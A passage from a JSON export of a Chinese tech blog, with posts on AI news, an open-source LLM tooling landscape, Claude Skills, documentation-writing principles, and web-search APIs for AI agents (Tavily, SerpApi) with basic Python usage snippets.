文章深入分析理想汽车在ICCV上展示的统一世界模型VLA，介绍了自动驾驶从数据闭环到训练闭环的技术进化，以及理想在AI领域的技术布局\nhttps://www.qbitai.com/2025/11/350282.html\n机器人训练，北京男大有了技能玩法 北京通用人工智能研究院研究团队开发了COLA方法，实现了人形机器人仅依靠本体感知而无需外部传感器就能与人类协作搬运物体的技术突破\nhttps://www.qbitai.com/2025/11/350301.html\nLLM强化学习新框架！UCSD多智能体训练框架让LLM工具调用能力暴增5.8倍 研究者提出通用多智能体强化学习框架PettingLLMs，通过树状采样与角色化奖励机制，显著提升LLM工具调用能力和多智能体协作效果\nhttps://www.qbitai.com/2025/11/350331.html\n","date":"2025-11-09T02:02:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-09-jin-ri-ai-qing-bao/cover.jpg","permalink":"/p/2025-11-09-jin-ri-ai-qing-bao/","title":"今日 AI 情报"},{"content":"\n以下分组依据开源生态图Open Source LLM Development Landscape进行整理，原图及项目集合参考：https://github.com/antgroup/llm-oss-landscape 每个条目后附上官网/项目页链接，便于你点开了解。\n也可以直接打开 https://antoss-landscape.my.canva.site/ （点击图标就可以直接跳转）\nAI Agent AI Coding ●Gemini https://ai.google.dev/gemini\n●Continue https://www.continue.dev/\n●OpenHands https://github.com/All-Hands-AI/OpenHands\n●marimo https://marimo.io/\n●Codex CLI https://github.com/microsoft/Codex-CLI\n●avante.nvim https://github.com/yetone/avante.nvim\n●Cline https://github.com/cline/cline\n●codename goose https://block.github.io/goose/\nChatbot \u0026amp; Knowledge Management ●Cherry Studio https://github.com/CherryHQ/cherry-studio\n●Open WebUI https://openwebui.com/\n●Lobe Chat https://github.com/lobehub/lobe-chat\n●LibreChat https://github.com/danny-avila/LibreChat\n●AstrBot https://github.com/AstrBotDevs/AstrBot\n●SiYuan（思源笔记）https://b3log.org/siyuan/\n●Docling https://github.com/DS4SD/docling\n●Anything LLM https://github.com/Mintplex-Labs/anything-llm\nEmbodied Agent ●GENESIS https://genesis-embodied-ai.github.io/\n●xiaozhi-esp32 https://github.com/78/xiaozhi-esp32\nAgent Workflow Platform ●Dify https://dify.ai/\n●n8n https://n8n.io/\n●RAGFlow https://github.com/infiniflow/ragflow\n●Langflow https://www.langflow.org/\n●Mastra https://mastra.ai/\n●Activepieces https://www.activepieces.com/\n●MaxKB https://github.com/1Panel-dev/MaxKB\n●FastGPT https://github.com/labring/FastGPT\n●Flowise AI https://flowiseai.com/\nAgent Tool / Dev Kit / Protocol ●LiteLLM https://docs.litellm.ai/\n●Supabase https://supabase.com/\n●Vercel https://vercel.com/\n●ComfyUI https://github.com/comfyanonymous/ComfyUI\n●mem0 https://mem0.ai/\n●Browser Use https://github.com/browser-use/browser-use\n●Model Context Protocol https://modelcontextprotocol.io/\nAgent Framework ●LangGraph https://langchain-ai.github.io/langgraph/\n●Pydantic AI https://ai.pydantic.dev/\n●LangChain https://www.langchain.com/\n●Spring AI https://spring.io/projects/spring-ai\n●LlamaIndex https://www.llamaindex.ai/\n●Semantic Kernel https://github.com/microsoft/semantic-kernel\n●Pipecat https://github.com/pipecat-ai/pipecat\n●AutoGen https://github.com/microsoft/autogen\n●LiveKit Agents https://livekit.io/agents\nMulti-agent Framework ●agno https://github.com/agno-agi/agno\n●CAMEL-AI https://github.com/camel-ai/camel\n●OpenAI Agents SDK https://platform.openai.com/docs/agents\n●ELIZA.OS https://github.com/elizaOS/eliza\n●crewAI https://www.crewai.com/\nAI Infra Model Training, Development and Serving Serving（Inference Deploy）\n●Ollama https://ollama.com/\n●Xorbits Inference https://github.com/xorbitsai/inference\n●ramalama https://github.com/containers/ramalama\n●GPUStack https://github.com/GPUStack/GPUStack\nInference Engine\n●vLLM https://vllm.ai/\n●SGLang https://github.com/sgl-project/sglang\n●TensorRT-LLM https://github.com/NVIDIA/TensorRT-LLM\n●OpenVINO https://docs.openvino.ai/\n●llama.cpp https://github.com/ggml-org/llama.cpp\nTraining / Fine-tune\n●SWIFT（ModelScope Swift）https://github.com/modelscope/ms-swift\n●Unsloth https://github.com/unslothai/unsloth\n●LLaMA-Factory https://github.com/hiyouga/LLaMA-Factory\n●VERL https://github.com/volcengine/verl\n●OpenRLHF https://github.com/OpenRLHF/OpenRLHF\nTraining Platform / Distributed Training\n●PyTorch https://pytorch.org/\n●PaddlePaddle https://www.paddlepaddle.org.cn/\n●Megatron-LM https://github.com/NVIDIA/Megatron-LM\n●DeepSpeed https://github.com/microsoft/DeepSpeed\n●NVIDIA NeMo https://github.com/NVIDIA-NeMo/NeMo\nDistributed Compute\n●Ray https://www.ray.io/\n●Apache Spark https://spark.apache.org/\n●Volcano https://volcano.sh/en/\nAI Compiler\n●Triton https://github.com/triton-lang/triton\n●Modular https://www.modular.com/\nAI Kernel Library\n●RAPIDS https://rapids.ai/\n●TransformerEngine https://github.com/NVIDIA/TransformerEngine\n●FlashInfer https://github.com/flashinfer-ai/flashinfer\n●MLX https://github.com/ml-explore/mlx\n●FlashAttention https://github.com/Dao-AILab/flash-attention\n●CUTLASS https://github.com/NVIDIA/cutlass\n●DeepEP https://github.com/deepseek-ai/DeepEP\nLLMOps ●MLflow https://mlflow.org/\n●1Panel https://github.com/1Panel-dev/1Panel\n●Langfuse https://langfuse.com/\n●Weights \u0026amp; Biases https://github.com/wandb/wandb\n●Opik https://github.com/comet-ml/opik\n●Phoenix https://github.com/Arize-ai/phoenix\n●MLRun https://www.mlrun.org/\n●promptfoo https://github.com/promptfoo/promptfoo\n●Dagger https://dagger.io/\nAI Data Data Labeling\n●Label Studio https://labelstud.io/\n●CVAT https://cvat.ai/\n●Vespa https://vespa.ai/\nApp Framework\n●Streamlit https://streamlit.io/\n●Gradio https://gradio.app/\nData Integration\n●Apache Airflow https://airflow.apache.org/\n●Airbyte https://airbyte.com/\n●Dagster https://dagster.io/\nVector Storage \u0026amp; Search\n●Elasticsearch https://www.elastic.co/elasticsearch/\n●Milvus https://milvus.io/\n●OpenSearch https://opensearch.org/\n●Chroma https://www.trychroma.com/\n●Weaviate https://weaviate.io/\n●Qdrant https://qdrant.tech/\nData Governance\n●Apache Iceberg https://iceberg.apache.org/\n●Apache Paimon https://paimon.apache.org/\n●DataHub https://datahubproject.io/\n●Delta Lake https://delta.io/\n●OpenMetadata https://open-metadata.org/\n●Apache Gravitino https://gravitino.apache.org/\n●Apache Hudi https://hudi.apache.org/\n","date":"2025-10-31T13:25:17Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-31-da-mo-xing-kai-fa-quan-jing-tu-llm-deployment-landscape/cover.jpg","permalink":"/p/2025-10-31-da-mo-xing-kai-fa-quan-jing-tu-llm-deployment-landscape/","title":"大模型开发全景图（LLM Deployment Landscape）"},{"content":"我想起了小时候看过的一部电影，虽然可能为时尚早，但不久的将来，具身智能将和人类一起生活，AI 不止是智能，更是伙伴了 https://www.1x.tech/neo\n","date":"2025-10-29T02:27:38Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-29-neo-xia-yi-dai-jia-ting-ren-xing-ji-qi-ren/cover.jpg","permalink":"/p/2025-10-29-neo-xia-yi-dai-jia-ting-ren-xing-ji-qi-ren/","title":"neo 下一代家庭人形机器人"},{"content":"TLDR Claude Skills 就像是给 Claude 安装的 “专家记忆包”，能将它从一个通用 AI 变为精准执行特定任务的专家。\n●核心功能：将重复性工作流程（如公司品牌风格、代码规范、报告格式）打包成可复用的指令，让 Claude 能自动、可靠地完成任务，无需每次都重复提醒。\n●工作原理：一个 Skill 就是一个带说明书 (SKILL.md) 的文件夹。Claude 只在需要时才会加载完整的指令，平时只记忆一个简短的描述。这种设计 极其节省 Token，让你可以安装大量 Skills 而不影响性能。\n●与工具 (Tools / APIs) 的区别：Skills 教会 Claude “如何做” 一件事（内部知识和流程），而工具让 Claude “去做” 一件事（调用外部数据或执行动作）。两者可以互补。\n●最大优势：简单、高效、实用。它将复杂的 AI 定制过程简化为写文档，让 AI 能真正融入并标准化你的日常工作。\nClaude Skills 的定位 核心理念：Skills 将通用模型转变为领域专家\n它是面向具体任务的“技能包”，以文件夹形式存在，通过轻量的说明与可执行工具，让 Claude 在需要时加载并执行，从而实现可重复、可定制的工作流。它们既“简单”（就是 Markdown 和脚本）、又“复杂”（能驱动多步的智能代理任务）。\nSkills 工作原理 Skills 的设计核心是简洁与高效，它通过一种名为 “渐进式披露”（Progressive Disclosure）的机制，在不牺牲性能的前提下，赋予 Claude 强大的扩展能力。\n一个 Skill 就是一个包含指令的简单文件夹 一个 Skill 的核心是一个包含 SKILL.md 文件的文件夹。 这个 Markdown 文件使用 YAML Frontmatter 来定义元数据（如名称和描述），文件的主体部分则包含了清晰、分步的任务指南和示例。\n举例： https://github.com/anthropics/skills/blob/main/document-skills/pptx/SKILL.md\nClaude 会自动发现并加载相关的 Skill 无需手动触发 Skill。 在会话开始时，Claude 会扫描所有已安装 Skills 的元数据（名称和描述），并将这些简短信息加载到其系统提示中。 当你的请求与某个 Skill 的描述相匹配时，Claude 会自动读取并加载该 Skill 的完整指令。\n“渐进式披露” 机制使 Skills 极为高效 Skill 通过三层结构（YAML 前言、正文、文件引用）逐步、按需地把信息送入模型上下文，避免一次性塞满，提升效率与 token 经济性。\nSkills 的设计极其注重 Token 效率。 初始加载时，每个 Skill 只占用几十个 Token 来存储其元数据。 只有在被触发时，Skill 的详细指令才会进入上下文窗口。 这种按需加载的机制意味着您可以安装大量的 Skills，而不会因为上下文窗口被占满而影响模型性能。 对于更复杂的 Skill，还可以将不同的指令拆分到多个文件中，Claude 只会读取当前任务所需的部分，进一步节省了 Token。\nSkills 可包含代码以确保任务执行的可靠性 除了文本指令，Skills 还可以捆绑可执行的 Python 脚本。 对于需要确定性和高可靠性的任务（例如，数据排序或格式验证），让 Claude 直接运行预先写好的代码比实时生成代码更高效、更可靠。 例如，一个用于创建 Slack GIF 的 Skill 包含了一个 Python 脚本，该脚本不仅能生成动图，还能验证其文件大小是否符合 Slack 的上传限制。\n应用平台：Skills 可跨所有 Claude 产品使用 Skills 的设计具有良好的可移植性，一次构建，即可在 Claude 的多个产品中使用。\n●在 Claude.ai 网页版中使用\n○付费用户（Pro, Max, Team, Enterprise）可以在设置中启用和上传自定义 Skills。 Anthropic 也提供了一些预置的 Skills 用于处理常见的文档格式（如 Word, Excel, PowerPoint, PDF）。\n●通过 Claude API 为开发者所用\n○开发者可以通过 Skills API 上传和管理自定义 Skills，并在调用 Messages API 时指定使用。 这使得企业可以将封装了特定业务逻辑的 Skills 集成到自己的应用程序中。\n●在 Claude Code 中用于本地开发\n○在 Claude Code（一个集成开发环境）中，Skills 以本地文件系统的形式存在。 开发者可以将 Skills 放在特定目录（~/.claude/skills）下，Claude 会自动发现并使用它们，这非常适合团队通过版本控制系统（如 Git）共享和协作开发 Skills。\n应用场景：Skills 擅长自动化内部工作流 Skills 的核心价值在于自动化那些有固定流程和规范的重复性任务，从而大幅提升效率。\n●案例一：确保文档的品牌风格一致\n○你可以创建一个 Skill 来封装公司的品牌指南。 当要求 Claude 创建演示文稿或新闻稿时，它会自动调用这个 Skill，确保所用颜色、字体、徽标和行文语气都符合公司标准，无需人工检查和修改。\n●案例二：自动化财务报告流程\n○日本电商巨头乐天（Rakuten）使用 Skills 将一项原先需要一整天时间的财务报告流程缩短到了一个小时。 该 Skill 封装了处理多份电子表格、发现异常数据以及根据公司内部流程生成报告的全部逻辑。\n●案例三：标准化软件开发任务\n○一个开发团队可以创建 Skills 来统一代码审查标准、生成符合特定架构的样板代码，或指导如何与内部 API 交互。 例如，一个 mcp-builder Skill 可以指导 Claude 如何创建高质量的 MCP 服务器。\nSkills 与模型上下文协议（MCP）的关键区别 虽然 Skills 和 MCP（Model Context Protocol）都是扩展 AI 能力的方式，但它们的设计哲学和适用场景截然不同。\n两者的本质区别是：Skills把“人类流程/SOP”转为可触发的模块；MCP把“外部工具/API/数据源”转为可调用的标准接口。\nSkills擅长程序化写作、格式化、合规、数据整理等“内部可编码”的流程；MCP擅长访问GitHub、CI/CD、Slack、数据库等外部系统、实时数据与动作。\n●Skills 重点在于 “如何完成任务” 的内部指令\n○Skills 更像是给 Claude 的一本 “操作手册”，它告诉模型完成某项任务的具体步骤、最佳实践和注意事项。 它关注的是过程和方法。\n●MCP 重点在于连接外部工具与数据源\n○MCP 是一个开放协议，旨在标准化 AI 与外部世界（如数据库、SaaS 工具、API）的交互方式。 它关注的是访问和行动，让 Claude 能够调用外部工具来获取实时信息或执行操作。\n●Skills 轻量且高效；MCP 可能消耗大量 Tokens\n○如前所述，Skills 通过 “渐进式披露” 机制实现了极高的 Token 效率。 相比之下，一些 MCP 的实现可能需要在提示中加载数万 Token 的 API 文档和定义，这会严重挤占模型处理实际任务的上下文空间。\n●Skills 和 MCP 可以协同工作\n○Skills 和 MCP 并非相互排斥，而是互补的。 在一个复杂的工作流中，您可以使用 MCP 从 GitHub 或公司的数据库中获取实时数据，然后利用 Skill 来分析这些数据并生成符合特定格式的报告。\n快速上手：用一个简单的 Markdown 文件创建你的第一个 Skill 创建一个基础 Skill 非常简单，您只需要创建一个包含 SKILL.md 文件的文件夹即可。\n以下是一个模板：\n1⚡ markdown片段--- 2name: my-first-skill 3description: 这是一个关于此 Skill 能做什么以及何时使用它的清晰描述。 4--- 5# 我的第一个 Skill 6 7[在这里添加您的指令，Claude 在激活此 Skill 时会遵循这些指令] 8 9## 示例 10- 用法示例 1 11- 用法示例 2 只需填写 name 和 description 字段，然后在 Markdown 主体中用自然语言描述操作步骤，一个可用的 Skill 就完成了。\n安全须知：使用第三方 Skills 时需保持谨慎 Skills 可以执行代码，这意味着它们拥有强大的能力，同时也带来了安全风险。 一个恶意的 Skill 可能会被设计用来执行非预期的操作，例如访问敏感文件或泄露数据。 因此，强烈建议只使用来自可信来源的 Skills，例如由你自己或 Anthropic 创建的。 在使用任何第三方 Skill 之前，请务必仔细审查其包含的所有文件（包括脚本和说明）。\nSkills 使 AI 更实用、更具组合性 Claude Skills 的核心价值在于其设计的简洁性和强大的实用性。 它将复杂的 AI 定制过程简化为编写结构化的文本文档，极大地降低了使用门槛。 通过将程序性知识和工作流程封装为可组合、可重用、可共享的模块，Skills 让 Claude 能够真正融入个人和组织的日常工作中，成为一个高效、可靠的专家级助手。 正如一些开发者所言，Skills 这种简单而强大的模式，可能会比更复杂的协议（如 MCP）产生更深远的影响，因为它更贴近 LLM 的工作本质：给出文本，让模型去理解和执行。\n对产品与组织的启示 ●把隐性知识产品化：将“新人指南”“最佳实践”沉淀为可执行的技能包，而非散落的文档。这样可提升一致性、可复用性与审计可见性，减少人依赖与输出波动。\n●逐步披露是上下文治理的关键：通过轻量前言、正文指令与按需文件引用，控制信息进入模型的节奏与粒度，显著提升效率与可预测性，降低 token 与推理成本。\n●流程模块化与组合式设计：用 Skills 编排“怎么做”，用 MCP 连接“可用资源”，形成可插拔的自动化生产线。模块边界清晰，更易维护与演进。\n●标准化驱动品牌与指标口径统一：把品牌规范、度量模型（如 LTV/CAC/流失率）和任务拆解统一到技能包，避免临场解读差异，确保跨团队输出一致。\n●从规格到实现的闭环：将 PRD→用户故事→验收标准→开发任务→代码的链路自动化，压缩交付周期，同时让变更可追踪、可回滚、可复盘。\n思维方式的转变 ●从“写提示”到“设计流程”：把提示工程升级为流程工程，关注输入结构、工具链、状态管理与容错。\n●从“一次性产物”到“可维护系统”：每个技能都是可版本化的流程单元，像软件一样测试、发布与回滚。\n●从“智能补充”到“智能基建”：将 Skills 视为组织的智能基础设施，承载标准、权限、日志与治理。\n附录 ●官方提示的 skills : https://github.com/anthropics/skills\n","date":"2025-10-28T12:13:19Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-28-claude-xin-wang-pai-skills-shen-du-jie-xi-rang-ni-de-ai-miao/cover.jpg","permalink":"/p/2025-10-28-claude-xin-wang-pai-skills-shen-du-jie-xi-rang-ni-de-ai-miao/","title":"Claude 新王牌 “Skills” 深度解析：让你的 AI 秒变行业专家，告别重复劳动"},{"content":" 优秀文档的核心原则 —— 来自 OpenAI 团队 Cookbook\n写文档是一种同理心的体现 文档的核心目标是将有用信息高效注入读者的头脑中，避免读者在信息海洋中迷失。优秀文档不是长篇大论，而是通过结构化、清晰和共情的设计，帮助读者快速解决问题。\n让文档易于浏览 读者很少从头到尾线性阅读文档，他们更倾向于跳跃式浏览，寻找直接解决问题的部分。因此，文档应像一张高效的 “信息地图”，降低搜索成本，提高成功率。\n●使用描述性标题：标题应是信息完整的句子，而非抽象名词。例如，用 “流式处理将首 token 响应时间缩短 50%” 代替 “结果”，让读者无需深入阅读即可获知要点。\n●添加目录：目录如哈希表般加速定位，同时提供文档整体线索，帮助读者判断是否值得阅读。\n●保持段落简短：短段落易于扫描；关键点可独立成一句单句段落，避免被长文淹没。\n●以独立主题句开头：段落和节的首句应自成一体，不依赖前文。例如，“向量数据库可加速嵌入搜索” 优于 “基于此，让我们讨论更快的方法”，便于跳读者快速理解。\n●主题词置于句首：如 “向量数据库加速嵌入搜索” 比 “嵌入搜索可由向量数据库加速” 更高效，因为读者只需读前两词即可把握主题。\n●要点前置：将最重要的信息置于文档或节的顶部，避免司马式渐进式展开，先结果后过程。\n●多用 bullet 列表和表格：这些格式天然支持扫描，提高可读性。\n●加粗关键文本：大胆突出重要内容，帮助读者快速锁定。\n这些技巧的核心是“读者优先”：设计时假设读者时间有限、注意力分散。\n2. 写出高质量文本 糟糕的文风会消耗读者的认知资源，导致疲劳。优秀文档应追求简洁、流畅，减少解析负担。\n●句子简洁：拆分长句、去除副词和冗余词，使用祈使语气（如写作书籍建议）。\n●确保无歧义解析：避免词性模糊的句子。例如，“用句子标题节”（Title sections with sentences）易混淆词性；改为 “将节标题写成句子”（Write section titles as sentences）更易解析，即使稍长。\n●避免左分支句子：这类句子要求读者短期记忆过多，如 “你需要面粉、鸡蛋、牛奶、黄油和少许盐来做煎饼”。改为右分支：“做煎饼需要面粉、鸡蛋、牛奶、黄油和少许盐”，更符合大脑处理习惯（类似于深度优先搜索）。\n●少用指示代词：如 “this” 跨句使用易造成回溯负担。改为具体名词：“基于消息格式，让我们讨论函数调用” 优于 “基于此讨论”。\n●保持一致性：统一标题大小写、标点（如尾随逗号）和命名规范（如 Cookbook 中的下划线 + 句首小写），避免读者分心。\n●不假设读者心态：避免 “你现在可能想了解函数调用” 这类推测；改为 “To call a function, \u0026hellip;”，保持中立。\n写作原则源于认知科学：减少大脑负载，让内容自然流动。\n3. 广泛有益于读者 文档用户背景多样（从新手到专家、多语言使用者），优秀文档应包容性强，覆盖潜在痛点，而非仅针对 “理想读者”。\n●用简单语言：比预期更简化解释（但不低估）。考虑非母语者和术语生疏者，优先清晰而非炫技。\n●避免缩写：全写出，如 “instruction following” 而非 “IF”；“retrieval-augmented generation”（或 “搜索 - 询问流程”）而非 “RAG”。专家成本低，新手收益高。\n●预解常见问题：即使 95% 读者知晓 Python 包安装，也值得说明 —— 专家可略过，新手避免卡壳。记住，跨语言专家（如 JavaScript 开发者）可能 Python 是新手。\n●选用具体准确术语：避开行话，如用 “input” 代替 “prompt”，“max token limit” 代替 “context limit”，更自明且贴合实际。\n●代码示例通用自洽：最小化依赖，避免额外库或跨页引用，确保可直接复制运行。\n●优先高价值主题：聚焦常见问题（如 token 计数），而非罕见场景（如表情符号数据库优化）。\n●避免不良习惯：如 API 密钥勿硬编码示例。\n●以广义开场引入主题：如解释推荐系统时，先提及 YouTube、Amazon 等应用场景，增强读者安全感。\n这些建议体现共情：文档是为 “所有人” 服务的工具，过多假设会疏离部分用户。\n4. 必要时打破规则 这些是指导而非铁律。文档写作是移情练习：代入读者视角，选择最有帮助的方式。最终，灵活应用才能适应具体情境。\n","date":"2025-10-26T03:08:25Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-10-26-yang-cai-suan-hao-wen-dang/cover.jpg","permalink":"/p/2025-10-26-yang-cai-suan-hao-wen-dang/","title":"怎样才算好文档"},{"content":"给 AI 用的搜索引擎 “给 AI 用的搜索引擎” 是一个专门为软件程序（尤其是人工智能模型）设计的接口，让它们能够以编程方式请求、接收和理解来自网络的信息。\n为什么 AI 需要这样的搜索引擎？ 大型语言模型（如 GPT、Gemini 等）本身非常强大，但它们存在一些固有局限。搜索引擎是克服这些局限性的关键工具。\n1.克服 “知识截止日期”\n○问题：AI 模型的知识不是实时的。它的知识被 “冻结” 在它训练数据截止的那个时间点。例如，一个在 2023 年训练的模型不知道 2024 年发生的新闻。\n○解决方案：当被问及一个新事件时，AI 可以使用搜索引擎 API 查询最新的新闻和信息，然后根据这些实时信息来生成答案。\n○例子：你问 AI：“昨天的股市收盘价是多少？” AI 无法直接回答，但它可以调用一个金融搜索引擎 API，获取数据后再告诉你。\n2.提高事实准确性，减少 “幻觉”\n○问题：AI 有时会 “一本正经地胡说八道”，即编造一些看似合理但实际上是错误的信息，这被称为 “幻觉” (Hallucination)。\n○解决方案：在回答需要精确事实的问题时，AI 可以先通过搜索引擎进行事实核查。它将搜索到的可靠来源（如维基百科、官方新闻稿）作为其回答的基础，而不是凭空捏造。\n○例子：你问 AI：“X 公司的 CEO 是谁？” AI 不会直接猜测，而是会先搜索 “X company CEO”，找到官方信息后再给出准确答案。\n3.提供信息来源和可信度\n○通过搜索引擎，AI 不仅能给出答案，还能提供它获取信息的来源链接。这大大增强了答案的可信度，也允许用户自行验证。证许多现代的 AI 问答产品（如 Perplexity AI, Google\u0026rsquo;s Gemini）都会在回答下方附上参考链接。\n4.执行需要实时数据的复杂任务\n○问题：许多现实世界的任务依赖于动态变化的信息。\n○解决方案：AI 代理 (AI Agent) 可以利用搜索引擎来完成任务。\n○例子：一个 “旅行规划 AI” 需要查询实时的航班价格、酒店空房情况、目的地天气预报等。它会通过调用多个不同的搜索服务 API 来收集所有这些信息，然后为你制定一个完整的旅行计划。\n“给 AI 用的搜索引擎” 本质上是将互联网从一个为人类视觉设计的、非结构化的信息海洋，转变成一个为机器准备的、结构化的、可查询的知识库。它赋予了 AI 模型一双能 “看到” 并 “理解” 当前世界的眼睛，使其能够突破自身训练数据的限制，变得更加准确、实时、可信和强大。\n流程示意 以下为一个 AI 应用 Action 的示意图：\n供应商 提供 web search 能力的供应商有很多，我们选择了几家知名和流行的厂商作为选型参考：\n●Tavily :https://www.tavily.com/\n●SerpApi:https://serpapi.com/\n●Serper API:https://serper.dev/\n●Exa.ai:https://exa.ai/\n●Ollama Web Search:https://docs.ollama.com/capabilities/web-search\n●Jina.ai DeepSearch:https://jina.ai/deepsearch/\n●Brave Search:https://brave.com/search/api/\nTavily Tavily 是一个面向 LLM 与 AI 智能体的 “Web 接入层”—— 提供实时网络搜索与内容提取的 API，常用于 RAG（检索增强生成）和各类智能体工作流，目标是把 “上网检索→抓取→清洗→结构化” 的繁琐流程封装成简单、可控的接口。\n核心 API ●Search：发送查询；可调搜索深度、时间范围、域名白/黑名单等，返回已清理的相关片段与链接，并可选生成简短回答/返回图片结果。\n●Extract：按给定 URL 抽取网页全文（可选 Markdown 或纯文本，也可返回图片），便于直接供模型使用。\n●Crawl：图式并行爬取整站（带内置抽取与智能发现），适合做站点级信息收集。\n●Map（Beta）：生成站点地图/URL 列表，可设置深度、广度及路径/域名过滤。\n适用场景与优势 ●给 RAG、聊天助手、数据富集等提供实时、可追溯的外部信息；返回结果强调带来源引用与面向 LLM 的片段，以降低幻觉并提升可审计性\n●官方定位是 “为智能体提供上网能力的基础层”，强调速度、稳定性与与开发者 / 智能体工作流的适配。\n生态与集成 提供官方 Python/JavaScript SDK 与在线 Playground；并与 LangChain、LlamaIndex 等框架集成，便于直接接入现有 Agent / RAG 管道。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2Tavily Search API - 超简洁版 3\u0026#34;\u0026#34;\u0026#34; 4 5import os 6from dotenv import load_dotenv 7from tavily import TavilyClient 8 9load_dotenv() 10 11# 创建客户端 12client = TavilyClient(api_key=os.getenv(\u0026#34;TAVILY_API_KEY\u0026#34;)) 13 14# 搜索 15query = input(\u0026#34;搜索: \u0026#34;) 16response = client.search(query=query) 17 18# 打印结果 19print(response) 价格与配额 SerpApi SerpApi 是一个付费的第三方 API 服务，它能让你实时地抓取并解析来自 Google、Bing、Baidu 等多个主流搜索引擎的搜索结果页面（SERP），并以结构化的 JSON 格式返回给你。\n你可以把它理解成一个 “超级加强版” 的、非官方的搜索引擎 API。它解决的核心问题是：官方的 Google API 返回的结果有限且不完整，而自己去抓取（Scrape）Google 又极其困难。 SerpApi 就是填补这个鸿沟的商业解决方案。\n可以看到它的 API 还是很丰富的：\nSerpApi 和 Tavily AI 都是服务于 AI 应用的搜索 API，但它们在哲学、目标和返回内容上有着根本性的不同。用一个简单的比喻来开始：\n●SerpApi 像是给了你的 AI 一整箱乐高积木的原始零件。它提供了关于搜索结果页面的所有原始、详细、未经处理的数据。\n●Tavily AI 像是给了你的 AI 一个根据说明书预先拼好了大半的乐高模型。它为你完成了搜索、筛选、阅读和总结的步骤，直接提供给 AI 一个接近最终答案的、简洁的信息包。\n核心 API SerpApi 的核心是一个简单而强大的 REST API，其本质是 “搜索结果页面即服务” (SERP as a Service) 。\n●工作机制: 你通过一个标准的 GET 请求，向 SerpApi 的端点（Endpoint）发送查询，它会返回一个结构化的 JSON 对象，该对象完整地描述了真实搜索引擎的结果页面。\n●关键参数:\n○api_key: (必需) 用于账户认证的密钥。\n○engine: (必需) 指定要查询的搜索引擎。这是其强大功能的体现，例如 google, Maps, google_jobs, bing, baidu, duckduckgo, youtube, amazon 等。\n○q: (必需) 你要搜索的关键词。\n○location: (可选, 但非常重要) 模拟搜索的地理位置。你可以传递一个具体的城市名、国家，甚至精确的地理坐标，来获取高度本地化的结果。例如，你可以轻松模拟一出来自东京涩谷的搜索请求。\n○gl \u0026amp; hl: 分别指定搜索的国家（geolocation）和语言（host language），例如 gl=jp 和 hl=ja 来获取日本的日语结果。\n○start, num: 用于翻页，控制搜索结果的偏移量和数量。\n●核心产出: API 的输出是其最核心的价值 —— 一个经过深度解析的、结构化的 JSON。这个 JSON 不仅包含自然搜索结果（蓝链），还精确地解析了页面上几乎所有的动态元素，包括：\n○广告 (Ads)\n○知识图谱 (Knowledge Graph)\n○本地包 / 地图包 (Local Pack)\n○相关问题 (People Also Ask)\n○购物结果 (Shopping Results)\n○图片和视频轮播 (Carousels)\n适用场景与优势 SerpApi 的价值在于它为需要高质量、真实搜索引擎数据的用户解决了最棘手的技术难题。\n●适用场景:\n○SEO / SEM 行业: 监控关键词排名、跟踪竞争对手的广告投放策略、分析 SERP 页面特性。\n○市场研究与商业智能: 聚合来自 Google Shopping 或 Amazon 的商品价格、分析特定行业的市场趋势、监控品牌在网络上的提及。\n○AI 与大语言模型 (LLM): 作为 AI Agent 的 “眼睛”，为其提供高质量、实时的外部世界信息源，用于需要完整页面上下文的 RAG（检索增强生成）系统或事实核查。\n○本地化服务: 验证本地商家的地图排名、聚合特定区域的服务信息。\n●核心优势:\n○数据的完整性与真实性: 最大的优势。它提供的是真实用户所见的完整页面镜像，而非官方 API 提供的阉割版数据。\n○规避所有抓取障碍: 用户无需担心 IP 封锁、代理管理、浏览器指纹以及最令人头疼的 CAPTCHA（人机验证）。SerpApi 在后端完全处理了这些问题。\n○强大的本地化和定制能力: location 参数功能强大，可以实现全球任意地点的精准模拟搜索。\n○广泛的平台支持: 一个 API 接口即可访问全球几十个主流的搜索引擎和电商平台。\n生态与集成 SerpApi 非常注重开发者体验，已经建立了一个成熟的生态系统，使其能够轻松地集成到现有工作流中。\n●官方编程语言库: 提供了对主流语言的官方支持，包括 Python, Node.js, Ruby, Java, PHP, Go, C# 等。这使得开发者可以在几分钟内就开始调用 API，而无需手动构建 HTTP 请求。\n●与 AI 框架的深度集成: 在当前的 AI 浪潮中，SerpApi 已成为标准工具之一。它被深度集成到 LangChain 和 LlamaIndex 等主流 AI 开发框架中，通常作为一个开箱即用的 Tool 或 Wrapper 存在，方便 AI Agent 直接调用。\n●无代码 / 低代码平台集成: 支持 Zapier, Make (原 Integromat) 等自动化平台，让非程序员也能利用其强大的数据抓取能力来构建自动化流程。\n●完善的文档与工具: 提供了交互式的 API 文档（Playground），用户可以在网页上直接测试各种参数组合，并实时查看返回的 JSON 结果，极大地降低了学习和调试成本。\n接入示例：\n1⚡ python片段\u0026#34;\u0026#34;\u0026#34; 2SerpApi Search API - 超简洁版 3Google 搜索引擎爬取 API 4\u0026#34;\u0026#34;\u0026#34; 5 6import os 7from dotenv import load_dotenv 8from serpapi import GoogleSearch # type: ignore[import-untyped] 9 10load_dotenv() 11 12# 创建搜索参数 13query = input(\u0026#34;搜索: \u0026#34;) 14params = { 15 \u0026#34;q\u0026#34;: query, 16 \u0026#34;api_key\u0026#34;: os.getenv(\u0026#34;SERPAPI_API_KEY\u0026#34;), 17 \u0026#34;num\u0026#34;: 5, # 返回 5 条结果 18} 19 20# 执行搜索 21search = GoogleSearch(params) 22results = search.get_dict() 23 24# 打印结果 25print(f\u0026#34;\\n🔍 搜索结果: {query}\\n\u0026#34;) 26print(\u0026#34;=\u0026#34; * 60) 27 28# 显示有机搜索结果 29organic_results = results.get(\u0026#34;organic_results\u0026#34;, []) 30for idx, result in enumerate(organic_results, 1): 31 print(f\u0026#34;\\n【{idx}】 {result.get(\u0026#39;title\u0026#39;, \u0026#39;无标题\u0026#39;)}\u0026#34;) 32 print(f\u0026#34;🔗 {result.get(\u0026#39;link\u0026#39;, \u0026#39;\u0026#39;)}\u0026#34;) 33 print(f\u0026#34;📝 {result.get(\u0026#39;snippet\u0026#39;, \u0026#39;无描述\u0026#39;)}\u0026#34;) 34 35print(\u0026#34;\\n\u0026#34; + 